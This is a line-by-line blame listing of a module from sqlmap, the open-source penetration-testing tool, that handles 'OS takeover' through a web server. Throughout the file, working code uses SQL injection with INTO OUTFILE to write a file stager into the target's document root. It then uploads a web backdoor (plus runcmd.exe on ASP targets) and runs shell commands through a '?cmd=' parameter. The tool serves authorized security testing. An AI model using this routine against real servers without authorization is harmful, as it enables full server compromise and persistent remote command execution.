2010-01-14 17:03:16 +03:00
|
|
|
#!/usr/bin/env python
|
|
|
|
|
|
|
|
"""
|
2012-07-12 21:38:03 +04:00
|
|
|
Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
|
2010-10-15 03:18:29 +04:00
|
|
|
See the file 'doc/COPYING' for copying permission
|
2010-01-14 17:03:16 +03:00
|
|
|
"""
|
|
|
|
|
2010-05-29 03:12:20 +04:00
|
|
|
import codecs
|
2010-01-14 17:03:16 +03:00
|
|
|
import os
|
2010-02-25 02:40:56 +03:00
|
|
|
import posixpath
|
2010-01-14 17:03:16 +03:00
|
|
|
import re
|
|
|
|
|
2010-01-28 19:56:00 +03:00
|
|
|
from extra.cloak.cloak import decloak
|
2010-01-14 17:03:16 +03:00
|
|
|
from lib.core.agent import agent
|
2011-04-23 20:25:09 +04:00
|
|
|
from lib.core.common import Backend
|
2010-01-28 19:50:34 +03:00
|
|
|
from lib.core.common import decloakToNamedTemporaryFile
|
2010-11-24 14:38:27 +03:00
|
|
|
from lib.core.common import extractRegexResult
|
2010-01-14 17:03:16 +03:00
|
|
|
from lib.core.common import getDirs
|
|
|
|
from lib.core.common import getDocRoot
|
2010-02-04 17:37:00 +03:00
|
|
|
from lib.core.common import ntToPosixSlashes
|
2010-12-15 15:50:56 +03:00
|
|
|
from lib.core.common import isTechniqueAvailable
|
2010-04-22 14:31:33 +04:00
|
|
|
from lib.core.common import isWindowsDriveLetterPath
|
2010-02-03 19:10:09 +03:00
|
|
|
from lib.core.common import normalizePath
|
2010-02-04 17:37:00 +03:00
|
|
|
from lib.core.common import posixToNtSlashes
|
2010-12-05 15:24:23 +03:00
|
|
|
from lib.core.common import randomInt
|
2010-02-25 13:33:41 +03:00
|
|
|
from lib.core.common import randomStr
|
2010-01-14 17:03:16 +03:00
|
|
|
from lib.core.common import readInput
|
|
|
|
from lib.core.convert import hexencode
|
|
|
|
from lib.core.data import conf
|
|
|
|
from lib.core.data import kb
|
|
|
|
from lib.core.data import logger
|
|
|
|
from lib.core.data import paths
|
2011-04-23 20:25:09 +04:00
|
|
|
from lib.core.enums import OS
|
2011-02-02 16:34:09 +03:00
|
|
|
from lib.core.enums import PAYLOAD
|
2010-01-14 17:03:16 +03:00
|
|
|
from lib.request.connect import Connect as Request
|
|
|
|
|
|
|
|
|
|
|
|
class Web:
|
|
|
|
"""
|
|
|
|
This class defines web-oriented OS takeover functionalities for
|
|
|
|
plugins.
|
|
|
|
"""
|
|
|
|
|
|
|
|
def __init__(self):
|
2011-04-30 17:20:05 +04:00
|
|
|
self.webApi = None
|
|
|
|
self.webBaseUrl = None
|
2010-01-14 17:03:16 +03:00
|
|
|
self.webBackdoorUrl = None
|
2012-07-11 17:08:51 +04:00
|
|
|
self.webBackdoorFilePath = None
|
2011-04-30 17:20:05 +04:00
|
|
|
self.webStagerUrl = None
|
2012-07-11 17:08:51 +04:00
|
|
|
self.webStagerFilePath = None
|
2011-04-30 17:20:05 +04:00
|
|
|
self.webDirectory = None
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2010-01-14 17:33:08 +03:00
|
|
|
def webBackdoorRunCmd(self, cmd):
|
2010-01-14 17:03:16 +03:00
|
|
|
if self.webBackdoorUrl is None:
|
|
|
|
return
|
|
|
|
|
|
|
|
output = None
|
|
|
|
|
|
|
|
if not cmd:
|
|
|
|
cmd = conf.osCmd
|
|
|
|
|
2011-04-30 17:20:05 +04:00
|
|
|
cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, cmd)
|
2011-08-12 20:48:11 +04:00
|
|
|
page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True)
|
2010-01-14 17:03:16 +03:00
|
|
|
|
|
|
|
if page is not None:
|
2010-01-14 17:33:08 +03:00
|
|
|
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
|
2010-01-14 17:03:16 +03:00
|
|
|
|
|
|
|
if output:
|
2010-01-14 17:33:08 +03:00
|
|
|
output = output.group(1)
|
2010-01-14 17:03:16 +03:00
|
|
|
|
|
|
|
return output
|
|
|
|
|
|
|
|
def webFileUpload(self, fileToUpload, destFileName, directory):
|
2010-05-29 12:58:55 +04:00
|
|
|
inputFP = codecs.open(fileToUpload, "rb")
|
2010-05-29 03:12:20 +04:00
|
|
|
retVal = self.__webFileStreamUpload(inputFP, destFileName, directory)
|
|
|
|
inputFP.close()
|
|
|
|
|
2010-02-04 13:10:41 +03:00
|
|
|
return retVal
|
2010-01-28 20:07:34 +03:00
|
|
|
|
2010-01-28 19:50:34 +03:00
|
|
|
def __webFileStreamUpload(self, stream, destFileName, directory):
|
2010-05-29 03:12:20 +04:00
|
|
|
stream.seek(0) # Rewind
|
|
|
|
|
2010-11-16 16:46:46 +03:00
|
|
|
if self.webApi in ("php", "asp", "aspx", "jsp"):
|
2010-01-14 17:03:16 +03:00
|
|
|
multipartParams = {
|
|
|
|
"upload": "1",
|
2010-01-27 16:59:25 +03:00
|
|
|
"file": stream,
|
2010-01-14 17:03:16 +03:00
|
|
|
"uploadDir": directory,
|
|
|
|
}
|
2010-02-16 16:20:34 +03:00
|
|
|
|
2010-11-24 14:38:27 +03:00
|
|
|
if self.webApi == "aspx":
|
2010-11-24 17:20:43 +03:00
|
|
|
multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
|
|
|
|
multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE
|
2010-11-24 14:38:27 +03:00
|
|
|
|
2010-10-18 01:06:52 +04:00
|
|
|
page = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False)
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2010-01-28 20:07:34 +03:00
|
|
|
if "File uploaded" not in page:
|
2011-04-30 17:20:05 +04:00
|
|
|
warnMsg = "unable to upload the backdoor through "
|
2010-10-18 01:06:52 +04:00
|
|
|
warnMsg += "the file stager on '%s'" % directory
|
2010-01-14 17:03:16 +03:00
|
|
|
logger.warn(warnMsg)
|
2010-02-04 13:10:41 +03:00
|
|
|
return False
|
|
|
|
else:
|
|
|
|
return True
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2010-02-16 16:20:34 +03:00
|
|
|
def __webFileInject(self, fileContent, fileName, directory):
|
2010-12-05 15:24:23 +03:00
|
|
|
outFile = posixpath.normpath("%s/%s" % (directory, fileName))
|
2011-04-23 20:25:09 +04:00
|
|
|
uplQuery = fileContent.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
|
2010-12-05 15:24:23 +03:00
|
|
|
query = ""
|
|
|
|
|
2010-12-15 15:50:56 +03:00
|
|
|
if isTechniqueAvailable(kb.technique):
|
2010-12-05 15:24:23 +03:00
|
|
|
where = kb.injection.data[kb.technique].where
|
|
|
|
|
2011-02-02 16:34:09 +03:00
|
|
|
if where == PAYLOAD.WHERE.NEGATIVE:
|
2010-12-05 15:24:23 +03:00
|
|
|
randInt = randomInt()
|
|
|
|
query += "OR %d=%d " % (randInt, randInt)
|
|
|
|
|
|
|
|
query += "LIMIT 1 INTO OUTFILE '%s' " % outFile
|
|
|
|
query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
|
|
|
|
query = agent.prefixQuery(query)
|
|
|
|
query = agent.suffixQuery(query)
|
|
|
|
payload = agent.payload(newValue=query)
|
|
|
|
page = Request.queryPage(payload)
|
2012-07-06 19:18:22 +04:00
|
|
|
|
2010-02-16 16:24:09 +03:00
|
|
|
return page
|
2010-02-16 16:20:34 +03:00
|
|
|
|
2010-01-14 17:03:16 +03:00
|
|
|
def webInit(self):
|
|
|
|
"""
|
|
|
|
This method is used to write a web backdoor (agent) on a writable
|
|
|
|
remote directory within the web server document root.
|
|
|
|
"""
|
|
|
|
|
2010-10-18 01:06:52 +04:00
|
|
|
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
|
2010-01-14 17:03:16 +03:00
|
|
|
return
|
|
|
|
|
2010-01-28 13:27:47 +03:00
|
|
|
self.checkDbmsOs()
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2010-10-18 01:06:52 +04:00
|
|
|
infoMsg = "trying to upload the file stager"
|
2010-01-14 17:03:16 +03:00
|
|
|
logger.info(infoMsg)
|
|
|
|
|
2010-11-17 14:45:52 +03:00
|
|
|
default = None
|
2012-03-14 14:31:24 +04:00
|
|
|
choices = ('asp', 'aspx', 'php', 'jsp')
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2010-11-17 14:45:52 +03:00
|
|
|
for ext in choices:
|
|
|
|
if conf.url.endswith(ext):
|
|
|
|
default = ext
|
2010-01-14 17:03:16 +03:00
|
|
|
break
|
|
|
|
|
2010-11-17 14:45:52 +03:00
|
|
|
if not default:
|
2011-04-23 20:25:09 +04:00
|
|
|
if Backend.isOs(OS.WINDOWS):
|
2010-11-17 14:45:52 +03:00
|
|
|
default = "asp"
|
|
|
|
else:
|
|
|
|
default = "php"
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2011-04-23 20:25:09 +04:00
|
|
|
message = "which web application language does the web server "
|
2010-11-17 14:45:52 +03:00
|
|
|
message += "support?\n"
|
2010-11-16 16:46:46 +03:00
|
|
|
|
2010-11-17 14:45:52 +03:00
|
|
|
for count in xrange(len(choices)):
|
|
|
|
ext = choices[count]
|
|
|
|
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
|
2010-12-14 00:34:35 +03:00
|
|
|
|
2010-11-17 14:45:52 +03:00
|
|
|
if default == ext:
|
|
|
|
default = count + 1
|
|
|
|
|
|
|
|
message = message[:-1]
|
|
|
|
|
|
|
|
while True:
|
|
|
|
choice = readInput(message, default=str(default))
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2010-11-17 14:45:52 +03:00
|
|
|
if not choice.isdigit():
|
2010-01-14 17:03:16 +03:00
|
|
|
logger.warn("invalid value, only digits are allowed")
|
|
|
|
|
2010-11-17 14:45:52 +03:00
|
|
|
elif int(choice) < 1 or int(choice) > len(choices):
|
|
|
|
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
|
|
|
|
|
|
|
|
else:
|
|
|
|
self.webApi = choices[int(choice) - 1]
|
|
|
|
break
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2011-04-30 17:20:05 +04:00
|
|
|
kb.docRoot = getDocRoot()
|
2011-01-23 23:47:06 +03:00
|
|
|
directories = getDirs()
|
2010-02-25 18:22:41 +03:00
|
|
|
directories = list(directories)
|
|
|
|
directories.sort()
|
|
|
|
|
2010-02-26 16:13:50 +03:00
|
|
|
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
|
2010-02-25 13:33:41 +03:00
|
|
|
backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName)
|
2010-02-25 14:40:49 +03:00
|
|
|
originalBackdoorContent = backdoorContent = backdoorStream.read()
|
2010-04-22 14:31:33 +04:00
|
|
|
|
2010-10-18 01:06:52 +04:00
|
|
|
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
|
|
|
|
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
|
2010-04-22 14:31:33 +04:00
|
|
|
|
2011-01-23 23:47:06 +03:00
|
|
|
warned = set()
|
|
|
|
success = False
|
2010-04-23 20:34:20 +04:00
|
|
|
|
2011-01-23 23:47:06 +03:00
|
|
|
for i in xrange(len(kb.docRoot)):
|
|
|
|
if success:
|
|
|
|
break
|
2010-04-22 14:31:33 +04:00
|
|
|
|
2011-01-23 23:47:06 +03:00
|
|
|
for j in xrange(len(directories)):
|
|
|
|
docRoot = kb.docRoot[i]
|
|
|
|
directory = directories[j]
|
2011-06-08 18:16:53 +04:00
|
|
|
uriPath = ""
|
2010-09-30 22:52:33 +04:00
|
|
|
|
2012-07-06 19:18:22 +04:00
|
|
|
if not all(isinstance(item, basestring) for item in (docRoot, directory)):
|
2011-01-23 23:47:06 +03:00
|
|
|
continue
|
2011-06-08 18:16:53 +04:00
|
|
|
|
2011-01-23 23:47:06 +03:00
|
|
|
directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/')
|
|
|
|
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')
|
|
|
|
|
|
|
|
# '' or '/' -> 'docRoot'
|
|
|
|
if not directory:
|
|
|
|
localPath = docRoot
|
|
|
|
uriPath = '/'
|
|
|
|
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
|
|
|
|
elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
|
|
|
|
localPath = "%s/%s" % (docRoot, directory)
|
|
|
|
uriPath = "/%s" % directory
|
|
|
|
else:
|
|
|
|
localPath = directory
|
|
|
|
uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
|
|
|
|
docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot
|
2012-07-11 17:08:51 +04:00
|
|
|
|
2011-01-24 00:20:16 +03:00
|
|
|
if docRoot in uriPath:
|
|
|
|
uriPath = uriPath.replace(docRoot, "/")
|
|
|
|
uriPath = "/%s" % normalizePath(uriPath)
|
|
|
|
else:
|
|
|
|
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)
|
2012-07-11 17:08:51 +04:00
|
|
|
|
2011-01-24 00:20:16 +03:00
|
|
|
if webDir:
|
|
|
|
uriPath = "/%s" % webDir
|
|
|
|
else:
|
|
|
|
continue
|
|
|
|
|
2011-06-29 21:49:59 +04:00
|
|
|
localPath = posixpath.normpath(localPath).rstrip('/')
|
|
|
|
uriPath = posixpath.normpath(uriPath).rstrip('/')
|
2011-01-23 23:47:06 +03:00
|
|
|
|
|
|
|
# Upload the file stager
|
|
|
|
self.__webFileInject(stagerContent, stagerName, localPath)
|
|
|
|
|
|
|
|
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
|
2011-06-08 18:16:53 +04:00
|
|
|
self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName)
|
2012-07-11 17:08:51 +04:00
|
|
|
self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, stagerName))).replace("//", "/").rstrip('/')
|
2011-01-23 23:47:06 +03:00
|
|
|
|
2011-08-12 20:48:11 +04:00
|
|
|
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
|
2011-01-23 23:47:06 +03:00
|
|
|
|
2011-09-23 22:29:45 +04:00
|
|
|
uplPage = uplPage or ""
|
|
|
|
|
2011-01-23 23:47:06 +03:00
|
|
|
if "sqlmap file uploader" not in uplPage:
|
|
|
|
if localPath not in warned:
|
2011-04-30 17:20:05 +04:00
|
|
|
warnMsg = "unable to upload the file stager "
|
2011-01-23 23:47:06 +03:00
|
|
|
warnMsg += "on '%s'" % localPath
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
warned.add(localPath)
|
2012-07-11 17:08:51 +04:00
|
|
|
|
2011-01-23 23:47:06 +03:00
|
|
|
continue
|
2010-04-22 14:31:33 +04:00
|
|
|
|
2011-01-23 23:47:06 +03:00
|
|
|
elif "<%" in uplPage or "<?" in uplPage:
|
2011-04-30 17:20:05 +04:00
|
|
|
warnMsg = "file stager uploaded "
|
2011-01-25 19:05:06 +03:00
|
|
|
warnMsg += "on '%s' but not dynamically interpreted" % localPath
|
2011-01-23 23:47:06 +03:00
|
|
|
logger.warn(warnMsg)
|
|
|
|
continue
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2011-01-23 23:47:06 +03:00
|
|
|
elif self.webApi == "aspx":
|
|
|
|
kb.data.__EVENTVALIDATION = extractRegexResult(r"__EVENTVALIDATION[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
|
|
|
|
kb.data.__VIEWSTATE = extractRegexResult(r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2011-04-30 17:20:05 +04:00
|
|
|
infoMsg = "the file stager has been successfully uploaded "
|
2011-06-08 18:16:53 +04:00
|
|
|
infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl)
|
2011-01-23 23:47:06 +03:00
|
|
|
logger.info(infoMsg)
|
2010-11-24 17:20:43 +03:00
|
|
|
|
2011-01-23 23:47:06 +03:00
|
|
|
if self.webApi == "asp":
|
|
|
|
runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
|
|
|
|
runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
|
|
|
|
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
|
2010-04-22 14:31:33 +04:00
|
|
|
|
2011-01-23 23:47:06 +03:00
|
|
|
if match:
|
|
|
|
backdoorDirectory = match.group(1)
|
|
|
|
else:
|
|
|
|
continue
|
2010-02-25 17:06:44 +03:00
|
|
|
|
2011-01-23 23:47:06 +03:00
|
|
|
backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
|
|
|
|
backdoorStream.file.truncate()
|
|
|
|
backdoorStream.read()
|
|
|
|
backdoorStream.seek(0)
|
|
|
|
backdoorStream.write(backdoorContent)
|
2010-02-25 17:06:44 +03:00
|
|
|
|
2011-01-23 23:47:06 +03:00
|
|
|
if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
|
|
|
|
self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
|
2011-06-08 18:16:53 +04:00
|
|
|
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
|
2011-01-23 23:47:06 +03:00
|
|
|
self.webDirectory = backdoorDirectory
|
|
|
|
else:
|
|
|
|
continue
|
2010-02-25 17:06:44 +03:00
|
|
|
|
2010-02-25 15:16:49 +03:00
|
|
|
else:
|
2011-04-23 20:25:09 +04:00
|
|
|
if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath):
|
2011-04-30 17:20:05 +04:00
|
|
|
warnMsg = "backdoor has not been successfully uploaded "
|
2011-06-08 18:16:53 +04:00
|
|
|
warnMsg += "through the file stager possibly because "
|
|
|
|
warnMsg += "the user running the web server process "
|
|
|
|
warnMsg += "has not write privileges over the folder "
|
|
|
|
warnMsg += "where the user running the DBMS process "
|
|
|
|
warnMsg += "was able to upload the file stager or "
|
|
|
|
warnMsg += "because the DBMS and web server sit on "
|
|
|
|
warnMsg += "different servers"
|
2011-01-23 23:47:06 +03:00
|
|
|
logger.warn(warnMsg)
|
2010-02-25 17:06:44 +03:00
|
|
|
|
2011-04-30 17:20:05 +04:00
|
|
|
message = "do you want to try the same method used "
|
2011-06-08 18:16:53 +04:00
|
|
|
message += "for the file stager? [Y/n] "
|
|
|
|
getOutput = readInput(message, default="Y")
|
2010-02-25 17:06:44 +03:00
|
|
|
|
2011-01-23 23:47:06 +03:00
|
|
|
if getOutput in ("y", "Y"):
|
|
|
|
self.__webFileInject(backdoorContent, backdoorName, localPath)
|
|
|
|
else:
|
|
|
|
continue
|
2010-02-25 17:06:44 +03:00
|
|
|
|
2011-06-08 18:16:53 +04:00
|
|
|
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
|
2011-01-23 23:47:06 +03:00
|
|
|
self.webDirectory = localPath
|
2012-07-11 17:08:51 +04:00
|
|
|
self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, backdoorName))).replace("//", "/").rstrip('/')
|
|
|
|
|
|
|
|
testStr = "command execution test"
|
|
|
|
output = self.webBackdoorRunCmd("echo %s" % testStr)
|
|
|
|
|
|
|
|
if testStr in output:
|
|
|
|
infoMsg = "the backdoor has been successfully "
|
|
|
|
else:
|
|
|
|
infoMsg = "the backdoor has probably been successfully "
|
2010-02-25 17:06:44 +03:00
|
|
|
|
2011-06-08 18:16:53 +04:00
|
|
|
infoMsg += "uploaded on '%s' - " % self.webDirectory
|
|
|
|
infoMsg += self.webBackdoorUrl
|
2011-01-23 23:47:06 +03:00
|
|
|
logger.info(infoMsg)
|
2010-11-03 13:08:27 +03:00
|
|
|
|
2011-01-23 23:47:06 +03:00
|
|
|
success = True
|
2010-01-14 17:03:16 +03:00
|
|
|
|
2011-01-23 23:47:06 +03:00
|
|
|
break
|